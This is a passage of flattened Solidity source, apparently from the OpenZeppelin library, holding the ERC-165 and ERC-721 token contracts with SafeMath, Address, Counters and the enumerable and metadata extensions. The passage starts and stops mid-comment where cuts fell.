* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
contract Context {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor () internal { }
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
function _msgData() internal view returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// File: openzeppelin-solidity/contracts/introspection/IERC165.sol
pragma solidity ^0.5.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// File: openzeppelin-solidity/contracts/token/ERC721/IERC721.sol
pragma solidity ^0.5.0;
/**
* @dev Required interface of an ERC721 compliant contract.
*/
contract IERC721 is IERC165 {
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of NFTs in `owner`'s account.
*/
function balanceOf(address owner) public view returns (uint256 balance);
/**
* @dev Returns the owner of the NFT specified by `tokenId`.
*/
function ownerOf(uint256 tokenId) public view returns (address owner);
/**
* @dev Transfers a specific NFT (`tokenId`) from one account (`from`) to
* another (`to`).
*
*
*
* Requirements:
* - `from`, `to` cannot be zero.
* - `tokenId` must be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this
* NFT by either {approve} or {setApprovalForAll}.
*/
function safeTransferFrom(address from, address to, uint256 tokenId) public;
/**
* @dev Transfers a specific NFT (`tokenId`) from one account (`from`) to
* another (`to`).
*
* Requirements:
* - If the caller is not `from`, it must be approved to move this NFT by
* either {approve} or {setApprovalForAll}.
*/
function transferFrom(address from, address to, uint256 tokenId) public;
function approve(address to, uint256 tokenId) public;
function getApproved(uint256 tokenId) public view returns (address operator);
function setApprovalForAll(address operator, bool _approved) public;
function isApprovedForAll(address owner, address operator) public view returns (bool);
function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory data) public;
}
// File: openzeppelin-solidity/contracts/token/ERC721/IERC721Receiver.sol
pragma solidity ^0.5.0;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
contract IERC721Receiver {
/**
* @notice Handle the receipt of an NFT
* @dev The ERC721 smart contract calls this function on the recipient
* after a {IERC721-safeTransferFrom}. This function MUST return the function selector,
* otherwise the caller will revert the transaction. The selector to be
* returned can be obtained as `this.onERC721Received.selector`. This
* function MAY throw to revert and reject the transfer.
* Note: the ERC721 contract address is always the message sender.
* @param operator The address which called `safeTransferFrom` function
* @param from The address which previously owned the token
* @param tokenId The NFT identifier which is being transferred
* @param data Additional data with no specified format
* @return bytes4 `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`
*/
function onERC721Received(address operator, address from, uint256 tokenId, bytes memory data)
public returns (bytes4);
}
// File: openzeppelin-solidity/contracts/math/SafeMath.sol
pragma solidity ^0.5.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*
* _Available since v2.4.0._
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
// File: openzeppelin-solidity/contracts/utils/Address.sol
pragma solidity ^0.5.5;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Converts an `address` into `address payable`. Note that this is
* simply a type cast: the actual underlying value is not changed.
*
* _Available since v2.4.0._
*/
function toPayable(address account) internal pure returns (address payable) {
return address(uint160(account));
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*
* _Available since v2.4.0._
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-call-value
(bool success, ) = recipient.call.value(amount)("");
require(success, "Address: unable to send value, recipient may have reverted");
}
}
// File: openzeppelin-solidity/contracts/drafts/Counters.sol
pragma solidity ^0.5.0;
/**
* @title Counters
* @author Matt Condon (@shrugs)
* @dev Provides counters that can only be incremented or decremented by one. This can be used e.g. to track the number
* of elements in a mapping, issuing ERC721 ids, or counting request ids.
*
* Include with `using Counters for Counters.Counter;`
* Since it is not possible to overflow a 256 bit integer with increments of one, `increment` can skip the {SafeMath}
* overflow check, thereby saving gas. This does assume however correct usage, in that the underlying `_value` is never
* directly accessed.
*/
library Counters {
using SafeMath for uint256;
struct Counter {
// This variable should never be directly accessed by users of the library: interactions must be restricted to
// the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add
// this feature: see https://github.com/ethereum/solidity/issues/4637
uint256 _value; // default: 0
}
function current(Counter storage counter) internal view returns (uint256) {
return counter._value;
}
function increment(Counter storage counter) internal {
// The {SafeMath} overflow check can be skipped here, see the comment at the top
counter._value += 1;
}
function decrement(Counter storage counter) internal {
counter._value = counter._value.sub(1);
}
}
// File: openzeppelin-solidity/contracts/introspection/ERC165.sol
pragma solidity ^0.5.0;
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts may inherit from this and call {_registerInterface} to declare
* their support of an interface.
*/
contract ERC165 is IERC165 {
/*
* bytes4(keccak256('supportsInterface(bytes4)')) == 0x01ffc9a7
*/
bytes4 private constant _INTERFACE_ID_ERC165 = 0x01ffc9a7;
/**
* @dev Mapping of interface ids to whether or not it's supported.
*/
mapping(bytes4 => bool) private _supportedInterfaces;
constructor () internal {
// Derived contracts need only register support for their own interfaces,
// we register support for ERC165 itself here
_registerInterface(_INTERFACE_ID_ERC165);
}
/**
* @dev See {IERC165-supportsInterface}.
*
* Time complexity O(1), guaranteed to always use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool) {
return _supportedInterfaces[interfaceId];
}
/**
* @dev Registers the contract as an implementer of the interface defined by
* `interfaceId`. Support of the actual ERC165 interface is automatic and
* registering its interface id is not required.
*
* See {IERC165-supportsInterface}.
*
* Requirements:
*
* - `interfaceId` cannot be the ERC165 invalid interface (`0xffffffff`).
*/
function _registerInterface(bytes4 interfaceId) internal {
require(interfaceId != 0xffffffff, "ERC165: invalid interface id");
_supportedInterfaces[interfaceId] = true;
}
}
// File: openzeppelin-solidity/contracts/token/ERC721/ERC721.sol
pragma solidity ^0.5.0;
/**
* @title ERC721 Non-Fungible Token Standard basic implementation
* @dev see https://eips.ethereum.org/EIPS/eip-721
*/
contract ERC721 is Context, ERC165, IERC721 {
using SafeMath for uint256;
using Address for address;
using Counters for Counters.Counter;
// Equals to `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`
// which can be also obtained as `IERC721Receiver(0).onERC721Received.selector`
bytes4 private constant _ERC721_RECEIVED = 0x150b7a02;
// Mapping from token ID to owner
mapping (uint256 => address) private _tokenOwner;
// Mapping from token ID to approved address
mapping (uint256 => address) private _tokenApprovals;
// Mapping from owner to number of owned token
mapping (address => Counters.Counter) private _ownedTokensCount;
// Mapping from owner to operator approvals
mapping (address => mapping (address => bool)) private _operatorApprovals;
/*
* bytes4(keccak256('balanceOf(address)')) == 0x70a08231
* bytes4(keccak256('ownerOf(uint256)')) == 0x6352211e
* bytes4(keccak256('approve(address,uint256)')) == 0x095ea7b3
* bytes4(keccak256('getApproved(uint256)')) == 0x081812fc
* bytes4(keccak256('setApprovalForAll(address,bool)')) == 0xa22cb465
* bytes4(keccak256('isApprovedForAll(address,address)')) == 0xe985e9c5
* bytes4(keccak256('transferFrom(address,address,uint256)')) == 0x23b872dd
* bytes4(keccak256('safeTransferFrom(address,address,uint256)')) == 0x42842e0e
* bytes4(keccak256('safeTransferFrom(address,address,uint256,bytes)')) == 0xb88d4fde
*
* => 0x70a08231 ^ 0x6352211e ^ 0x095ea7b3 ^ 0x081812fc ^
* 0xa22cb465 ^ 0xe985e9c ^ 0x23b872dd ^ 0x42842e0e ^ 0xb88d4fde == 0x80ac58cd
*/
bytes4 private constant _INTERFACE_ID_ERC721 = 0x80ac58cd;
constructor () public {
// register the supported interfaces to conform to ERC721 via ERC165
_registerInterface(_INTERFACE_ID_ERC721);
}
/**
* @dev Gets the balance of the specified address.
* @param owner address to query the balance of
* @return uint256 representing the amount owned by the passed address
*/
function balanceOf(address owner) public view returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _ownedTokensCount[owner].current();
}
/**
* @dev Gets the owner of the specified token ID.
* @param tokenId uint256 ID of the token to query the owner of
* @return address currently marked as the owner of the given token ID
*/
function ownerOf(uint256 tokenId) public view returns (address) {
address owner = _tokenOwner[tokenId];
require(owner != address(0), "ERC721: owner query for nonexistent token");
return owner;
}
/**
* @dev Approves another address to transfer the given token ID
* The zero address indicates there is no approved address.
* There can only be one approved address per token at a given time.
* Can only be called by the token owner or an approved operator.
* @param to address to be approved for the given token ID
* @param tokenId uint256 ID of the token to be approved
*/
function approve(address to, uint256 tokenId) public {
address owner = ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_tokenApprovals[tokenId] = to;
emit Approval(owner, to, tokenId);
}
/**
* @dev Gets the approved address for a token ID, or zero if no address set
* Reverts if the token ID does not exist.
* @param tokenId uint256 ID of the token to query the approval of
* @return address currently approved for the given token ID
*/
function getApproved(uint256 tokenId) public view returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev Sets or unsets the approval of a given operator
* An operator is allowed to transfer all tokens of the sender on their behalf.
* @param to operator address to set the approval
* @param approved representing the status of the approval to be set
*/
function setApprovalForAll(address to, bool approved) public {
require(to != _msgSender(), "ERC721: approve to caller");
_operatorApprovals[_msgSender()][to] = approved;
emit ApprovalForAll(_msgSender(), to, approved);
}
/**
* @dev Tells whether an operator is approved by a given owner.
* @param owner owner address which you want to query the approval of
* @param operator operator address which you want to query the approval of
* @return bool whether the given operator is approved by the given owner
*/
function isApprovedForAll(address owner, address operator) public view returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev Transfers the ownership of a given token ID to another address.
* Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
* Requires the msg.sender to be the owner, approved, or operator.
* @param from current owner of the token
* @param to address to receive the ownership of the given token ID
* @param tokenId uint256 ID of the token to be transferred
*/
function transferFrom(address from, address to, uint256 tokenId) public {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transferFrom(from, to, tokenId);
}
/**
* @dev Safely transfers the ownership of a given token ID to another address
* If the target address is a contract, it must implement {IERC721Receiver-onERC721Received},
* which is called upon a safe transfer, and return the magic value
* `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`; otherwise,
* the transfer is reverted.
* Requires the msg.sender to be the owner, approved, or operator
* @param from current owner of the token
* @param to address to receive the ownership of the given token ID
* @param tokenId uint256 ID of the token to be transferred
*/
function safeTransferFrom(address from, address to, uint256 tokenId) public {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev Safely transfers the ownership of a given token ID to another address
* If the target address is a contract, it must implement {IERC721Receiver-onERC721Received},
* which is called upon a safe transfer, and return the magic value
* `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`; otherwise,
* the transfer is reverted.
* Requires the _msgSender() to be the owner, approved, or operator
* @param from current owner of the token
* @param to address to receive the ownership of the given token ID
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes data to send along with a safe transfer check
*/
function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory _data) public {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransferFrom(from, to, tokenId, _data);
}
/**
* @dev Safely transfers the ownership of a given token ID to another address
* If the target address is a contract, it must implement `onERC721Received`,
* which is called upon a safe transfer, and return the magic value
* `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`; otherwise,
* the transfer is reverted.
* Requires the msg.sender to be the owner, approved, or operator
* @param from current owner of the token
* @param to address to receive the ownership of the given token ID
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes data to send along with a safe transfer check
*/
function _safeTransferFrom(address from, address to, uint256 tokenId, bytes memory _data) internal {
_transferFrom(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Returns whether the specified token exists.
* @param tokenId uint256 ID of the token to query the existence of
* @return bool whether the token exists
*/
function _exists(uint256 tokenId) internal view returns (bool) {
address owner = _tokenOwner[tokenId];
return owner != address(0);
}
/**
* @dev Returns whether the given spender can transfer a given token ID.
* @param spender address of the spender to query
* @param tokenId uint256 ID of the token to be transferred
* @return bool whether the msg.sender is approved for the given token ID,
* is an operator of the owner, or is the owner of the token
*/
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender));
}
/**
* @dev Internal function to safely mint a new token.
* Reverts if the given token ID already exists.
* If the target address is a contract, it must implement `onERC721Received`,
* which is called upon a safe transfer, and return the magic value
* `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`; otherwise,
* the transfer is reverted.
* @param to The address that will own the minted token
* @param tokenId uint256 ID of the token to be minted
*/
function _safeMint(address to, uint256 tokenId) internal {
_safeMint(to, tokenId, "");
}
/**
* @dev Internal function to safely mint a new token.
* Reverts if the given token ID already exists.
* If the target address is a contract, it must implement `onERC721Received`,
* which is called upon a safe transfer, and return the magic value
* `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`; otherwise,
* the transfer is reverted.
* @param to The address that will own the minted token
* @param tokenId uint256 ID of the token to be minted
* @param _data bytes data to send along with a safe transfer check
*/
function _safeMint(address to, uint256 tokenId, bytes memory _data) internal {
_mint(to, tokenId);
require(_checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Internal function to mint a new token.
* Reverts if the given token ID already exists.
* @param to The address that will own the minted token
* @param tokenId uint256 ID of the token to be minted
*/
function _mint(address to, uint256 tokenId) internal {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_tokenOwner[tokenId] = to;
_ownedTokensCount[to].increment();
emit Transfer(address(0), to, tokenId);
}
/**
* @dev Internal function to burn a specific token.
* Reverts if the token does not exist.
* Deprecated, use {_burn} instead.
* @param owner owner of the token to burn
* @param tokenId uint256 ID of the token being burned
*/
function _burn(address owner, uint256 tokenId) internal {
require(ownerOf(tokenId) == owner, "ERC721: burn of token that is not own");
_clearApproval(tokenId);
_ownedTokensCount[owner].decrement();
_tokenOwner[tokenId] = address(0);
emit Transfer(owner, address(0), tokenId);
}
/**
* @dev Internal function to burn a specific token.
* Reverts if the token does not exist.
* @param tokenId uint256 ID of the token being burned
*/
function _burn(uint256 tokenId) internal {
_burn(ownerOf(tokenId), tokenId);
}
/**
* @dev Internal function to transfer ownership of a given token ID to another address.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
* @param from current owner of the token
* @param to address to receive the ownership of the given token ID
* @param tokenId uint256 ID of the token to be transferred
*/
function _transferFrom(address from, address to, uint256 tokenId) internal {
require(ownerOf(tokenId) == from, "ERC721: transfer of token that is not own");
require(to != address(0), "ERC721: transfer to the zero address");
_clearApproval(tokenId);
_ownedTokensCount[from].decrement();
_ownedTokensCount[to].increment();
_tokenOwner[tokenId] = to;
emit Transfer(from, to, tokenId);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* This is an internal detail of the `ERC721` contract and its use is deprecated.
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(address from, address to, uint256 tokenId, bytes memory _data)
internal returns (bool)
{
if (!to.isContract()) {
return true;
}
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = to.call(abi.encodeWithSelector(
IERC721Receiver(to).onERC721Received.selector,
_msgSender(),
from,
tokenId,
_data
));
if (!success) {
if (returndata.length > 0) {
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert("ERC721: transfer to non ERC721Receiver implementer");
}
} else {
bytes4 retval = abi.decode(returndata, (bytes4));
return (retval == _ERC721_RECEIVED);
}
}
/**
* @dev Private function to clear current approval of a given token ID.
* @param tokenId uint256 ID of the token to be transferred
*/
function _clearApproval(uint256 tokenId) private {
if (_tokenApprovals[tokenId] != address(0)) {
_tokenApprovals[tokenId] = address(0);
}
}
}
// File: openzeppelin-solidity/contracts/token/ERC721/IERC721Enumerable.sol
pragma solidity ^0.5.0;
/**
* @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
contract IERC721Enumerable is IERC721 {
function totalSupply() public view returns (uint256);
function tokenOfOwnerByIndex(address owner, uint256 index) public view returns (uint256 tokenId);
function tokenByIndex(uint256 index) public view returns (uint256);
}
// File: openzeppelin-solidity/contracts/token/ERC721/ERC721Enumerable.sol
pragma solidity ^0.5.0;
/**
* @title ERC-721 Non-Fungible Token with optional enumeration extension logic
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
contract ERC721Enumerable is Context, ERC165, ERC721, IERC721Enumerable {
// Mapping from owner to list of owned token IDs
mapping(address => uint256[]) private _ownedTokens;
// Mapping from token ID to index of the owner tokens list
mapping(uint256 => uint256) private _ownedTokensIndex;
// Array with all token ids, used for enumeration
uint256[] private _allTokens;
// Mapping from token id to position in the allTokens array
mapping(uint256 => uint256) private _allTokensIndex;
/*
* bytes4(keccak256('totalSupply()')) == 0x18160ddd
* bytes4(keccak256('tokenOfOwnerByIndex(address,uint256)')) == 0x2f745c59
* bytes4(keccak256('tokenByIndex(uint256)')) == 0x4f6ccce7
*
* => 0x18160ddd ^ 0x2f745c59 ^ 0x4f6ccce7 == 0x780e9d63
*/
bytes4 private constant _INTERFACE_ID_ERC721_ENUMERABLE = 0x780e9d63;
/**
* @dev Constructor function.
*/
constructor () public {
// register the supported interface to conform to ERC721Enumerable via ERC165
_registerInterface(_INTERFACE_ID_ERC721_ENUMERABLE);
}
/**
* @dev Gets the token ID at a given index of the tokens list of the requested owner.
* @param owner address owning the tokens list to be accessed
* @param index uint256 representing the index to be accessed of the requested tokens list
* @return uint256 token ID at the given index of the tokens list owned by the requested address
*/
function tokenOfOwnerByIndex(address owner, uint256 index) public view returns (uint256) {
require(index < balanceOf(owner), "ERC721Enumerable: owner index out of bounds");
return _ownedTokens[owner][index];
}
/**
* @dev Gets the total amount of tokens stored by the contract.
* @return uint256 representing the total amount of tokens
*/
function totalSupply() public view returns (uint256) {
return _allTokens.length;
}
/**
* @dev Gets the token ID at a given index of all the tokens in this contract
* Reverts if the index is greater or equal to the total number of tokens.
* @param index uint256 representing the index to be accessed of the tokens list
* @return uint256 token ID at the given index of the tokens list
*/
function tokenByIndex(uint256 index) public view returns (uint256) {
require(index < totalSupply(), "ERC721Enumerable: global index out of bounds");
return _allTokens[index];
}
/**
* @dev Internal function to transfer ownership of a given token ID to another address.
* As opposed to transferFrom, this imposes no restrictions on msg.sender.
* @param from current owner of the token
* @param to address to receive the ownership of the given token ID
* @param tokenId uint256 ID of the token to be transferred
*/
function _transferFrom(address from, address to, uint256 tokenId) internal {
super._transferFrom(from, to, tokenId);
_removeTokenFromOwnerEnumeration(from, tokenId);
_addTokenToOwnerEnumeration(to, tokenId);
}
/**
* @dev Internal function to mint a new token.
* Reverts if the given token ID already exists.
* @param to address the beneficiary that will own the minted token
* @param tokenId uint256 ID of the token to be minted
*/
function _mint(address to, uint256 tokenId) internal {
super._mint(to, tokenId);
_addTokenToOwnerEnumeration(to, tokenId);
_addTokenToAllTokensEnumeration(tokenId);
}
/**
* @dev Internal function to burn a specific token.
* Reverts if the token does not exist.
* Deprecated, use {ERC721-_burn} instead.
* @param owner owner of the token to burn
* @param tokenId uint256 ID of the token being burned
*/
function _burn(address owner, uint256 tokenId) internal {
super._burn(owner, tokenId);
_removeTokenFromOwnerEnumeration(owner, tokenId);
// Since tokenId will be deleted, we can clear its slot in _ownedTokensIndex to trigger a gas refund
_ownedTokensIndex[tokenId] = 0;
_removeTokenFromAllTokensEnumeration(tokenId);
}
/**
* @dev Gets the list of token IDs of the requested owner.
* @param owner address owning the tokens
* @return uint256[] List of token IDs owned by the requested address
*/
function _tokensOfOwner(address owner) internal view returns (uint256[] storage) {
return _ownedTokens[owner];
}
/**
* @dev Private function to add a token to this extension's ownership-tracking data structures.
* @param to address representing the new owner of the given token ID
* @param tokenId uint256 ID of the token to be added to the tokens list of the given address
*/
function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private {
_ownedTokensIndex[tokenId] = _ownedTokens[to].length;
_ownedTokens[to].push(tokenId);
}
/**
* @dev Private function to add a token to this extension's token tracking data structures.
* @param tokenId uint256 ID of the token to be added to the tokens list
*/
function _addTokenToAllTokensEnumeration(uint256 tokenId) private {
_allTokensIndex[tokenId] = _allTokens.length;
_allTokens.push(tokenId);
}
/**
* @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that
* while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for
* gas optimizations e.g. when performing a transfer operation (avoiding double writes).
* This has O(1) time complexity, but alters the order of the _ownedTokens array.
* @param from address representing the previous owner of the given token ID
* @param tokenId uint256 ID of the token to be removed from the tokens list of the given address
*/
function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private {
// To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = _ownedTokens[from].length.sub(1);
uint256 tokenIndex = _ownedTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary
if (tokenIndex != lastTokenIndex) {
uint256 lastTokenId = _ownedTokens[from][lastTokenIndex];
_ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
}
// This also deletes the contents at the last position of the array
_ownedTokens[from].length--;
// Note that _ownedTokensIndex[tokenId] hasn't been cleared: it still points to the old slot (now occupied by
// lastTokenId, or just over the end of the array if the token was the last one).
}
/**
* @dev Private function to remove a token from this extension's token tracking data structures.
* This has O(1) time complexity, but alters the order of the _allTokens array.
* @param tokenId uint256 ID of the token to be removed from the tokens list
*/
function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private {
// To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = _allTokens.length.sub(1);
uint256 tokenIndex = _allTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so
// rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding
// an 'if' statement (like in _removeTokenFromOwnerEnumeration)
uint256 lastTokenId = _allTokens[lastTokenIndex];
_allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
// This also deletes the contents at the last position of the array
_allTokens.length--;
_allTokensIndex[tokenId] = 0;
}
}
// File: openzeppelin-solidity/contracts/token/ERC721/IERC721Metadata.sol
pragma solidity ^0.5.0;
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
contract IERC721Metadata is IERC721 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function tokenURI(uint256 tokenId) external view returns (string memory);
}
// File: openzeppelin-solidity/contracts/token/ERC721/ERC721Metadata.sol
pragma solidity ^0.5.0;
contract ERC721Metadata is Context, ERC165, ERC721, IERC721Metadata {
// Token name
string private _name;
// Token symbol
string private _symbol;
// Base URI
string private _baseURI;
// Optional mapping for token URIs
mapping(uint256 => string) private _tokenURIs;
/*
* bytes4(keccak256('name()')) == 0x06fdde03
* bytes4(keccak256('symbol()')) == 0x95d89b41
